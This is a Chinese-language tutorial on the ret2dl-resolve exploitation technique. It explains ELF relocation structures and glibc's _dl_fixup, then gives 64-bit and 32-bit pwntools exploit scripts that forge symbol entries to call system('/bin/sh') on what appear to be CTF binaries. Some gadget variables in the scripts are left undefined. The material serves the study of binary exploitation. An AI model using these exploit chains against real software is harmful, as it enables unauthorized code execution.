dl-resolve浅析
字数 1414 2025-08-25 22:59:09
Ret2dl-resolve 技术深入解析
1. 前置知识
1.1 ELF文件关键节区
ret2dl-resolve技术主要涉及ELF文件的三个关键节区:
- .dynsym节(SYMTAB段) - 动态符号表
- .rela.plt/.rel.plt节(JMPREL段) - 重定位表
- .dynstr节 - 动态字符串表
1.2 关键数据结构
64位ELF结构体
// .rela.plt节(JMPREL段)结构体
typedef struct {
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela;
// .dynsym节(SYMTAB段)结构体
typedef struct {
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other;/* Symbol visibility */
Elf64_Section st_shndx;/* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;
32位ELF结构体
// .rel.plt节结构体
typedef struct {
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;
// .dynsym节结构体
typedef struct {
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info;/* Symbol type and binding */
unsigned char st_other;/* Symbol visibility */
Elf32_Section st_shndx;/* Section index */
} Elf32_Sym;
2. 动态链接解析过程分析
2.1 函数解析的三次跳跃
-
第一次跳跃:通过
reloc_offset定位.rela.plt中的重定位项reloc_offset指示函数在.rela.plt节中的位置- 获取
r_info字段,包含符号索引和重定位类型
-
第二次跳跃:通过
r_info定位.dynsym中的符号项- 从
r_info提取符号索引 - 获取
st_name字段,即函数名在.dynstr中的偏移
- 从
-
第三次跳跃:通过
st_name定位.dynstr中的函数名字符串.dynstr起始地址加上st_name偏移得到函数名字符串- 使用该字符串在动态库中查找函数地址
2.2 _dl_fixup函数分析
_dl_fixup是动态链接解析的核心函数,主要流程:
-
从
link_map获取关键节区地址:const ElfW(Sym) *const symtab = (const void *)D_PTR(l, l_info[DT_SYMTAB]); const char *strtab = (const void *)D_PTR(l, l_info[DT_STRTAB]); const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset); -
获取符号信息:
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)]; -
版本检查(可能绕过):
if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL) { // 版本检查逻辑 } -
查找符号地址:
result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL); -
计算并返回实际地址:
value = DL_FIXUP_MAKE_VALUE(result, SYMBOL_ADDRESS(result, sym, false));
3. 利用技术详解
3.1 基本利用思路
- 构造伪造的重定位项(
fake .rela.plt) - 构造伪造的符号项(
fake .dynsym) - 构造伪造的字符串(
fake .dynstr) - 控制程序流程跳转到
_dl_runtime_resolve,使用伪造的reloc_arg
3.2 关键绕过技术
在64位系统中需要注意版本检查的绕过:
if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL) {
// 可能访问不可读内存导致崩溃
}
解决方法:
- 泄露
link_map地址(通常位于.got.plt+0x8) - 将
link_map+0x1c8处(l_info[VERSYMIDX(DT_VERSYM)])置零
3.3 64位利用示例
from pwn import *
# 初始化设置
context.log_level = 'debug'
r = process('./pwn')
elf = ELF('./pwn')
# 关键地址
puts_plt = 0x4005d0
link_map_ptr = 0x620008 # .got.plt+0x8
rel_plt_addr = 0x4004f0
dynsym_addr = 0x4002c8
dynstr_addr = 0x4003e8
# 1. 泄露link_map地址
payload = flat([
b'A'*0x18,
pop_rdi,
link_map_ptr,
puts_plt,
start_address
])
r.sendline(payload)
link_map_addr = u64(r.recv(6).ljust(8, b'\x00'))
# 2. 构造fake链
base_addr = 0x620789
align = 0x18 - (base_addr - rel_plt_addr) % 0x18
base_addr += align # 对齐到0x620798
reloc_arg = (base_addr - rel_plt_addr) // 0x18
dynsym_off = (base_addr + 0x18 - dynsym_addr) // 0x18
system_off = base_addr + 0x30 - dynstr_addr
bin_sh_addr = base_addr + 0x38
# 3. 发送伪造数据
fake_reloc = flat([
read_got, # r_offset
(dynsym_off << 32) | 0x7, # r_info
0 # r_addend
])
fake_sym = flat([
system_off, # st_name
0x12 << 8, # st_info + st_other + st_shndx
0, 0 # st_value + st_size
])
fake_str = flat([
b'system\x00\x00',
b'/bin/sh\x00'
])
# 4. 触发漏洞
payload = flat([
b'A'*0x18,
# 修改link_map+0x1c8为0
pop_rsi_r15, 0x20, 0,
pop_rdi, link_map_addr + 0x1c0,
read_func,
# 读取fake链
pop_rsi_r15, 0x100, 0,
pop_rdi, base_addr - 0x8,
read_func,
# 触发resolve
pop_rdi, bin_sh_addr,
plt_addr,
reloc_arg
])
r.send(payload)
# 发送伪造数据
r.send(flat([
p64(0)*4, # 修改link_map+0x1c8
fake_reloc,
fake_sym,
fake_str
]))
r.interactive()
3.4 32位利用示例
from pwn import *
context.log_level = 'debug'
r = process('./pwn200')
elf = ELF('./pwn200')
# 关键地址
plt0 = 0x8048370
rel_plt = 0x8048318
dynsym = 0x80481D8
dynstr = 0x8048268
# 构造fake地址
base_addr = 0x804a800
reloc_arg = (base_addr + 0x28 - rel_plt) // 0x10
dynsym_off = (base_addr + 0x38 - dynsym) // 0x10
system_off = base_addr + 0x48 - dynstr
binsh_addr = base_addr + 0x50
r_info = (dynsym_off << 8) | 0x7
# 构造payload
payload = flat([
b'A'*0x6c,
b'A'*4,
read_plt,
ppp_ret,
0, base_addr, 100,
pop_ebp, base_addr,
leave_ret
])
r.sendline(payload)
# 发送伪造数据
payload = flat([
b'aaaa', # 平衡栈
plt0,
reloc_arg,
b'a'*4, # 填充
binsh_addr, # system参数
b'a'*0x14,
read_got, # r_offset
r_info, # r_info
b'a'*8,
system_off, # st_name
0, 0, # st_value + st_size
0x12, # st_info + st_other + st_shndx
b'system\x00\x00',
b'/bin/sh\x00'
])
r.sendline(payload.ljust(100, b'a'))
r.interactive()
4. 关键注意事项
-
地址对齐:
- 64位:
.rela.plt项大小为0x18字节 - 32位:
.rel.plt项大小为0x10字节 .dynsym项在32位和64位下大小不同
- 64位:
-
版本检查绕过:
- 64位系统必须处理
l->l_info[VERSYMIDX(DT_VERSYM)] - 可通过修改
link_map+0x1c8处值为0来绕过
- 64位系统必须处理
-
偏移计算:
- 精确计算各伪造结构体之间的偏移关系
- 确保所有伪造数据位于可写内存区域
-
利用条件:
- 需要能够控制足够大的栈溢出
- 需要有至少一次内存写入机会
- 最好有信息泄露能力(用于泄露
link_map)
5. 参考资源
- Oracle ELF文档:https://docs.oracle.com/cd/E19683-01/816-1386/chapter6-54839/index.html
- glibc源码:https://code.woboq.org/userspace/glibc/elf/dl-runtime.c.html
- ret2dl_resolve学习笔记:https://veritas501.space/2017/10/07/ret2dl_resolve学习笔记/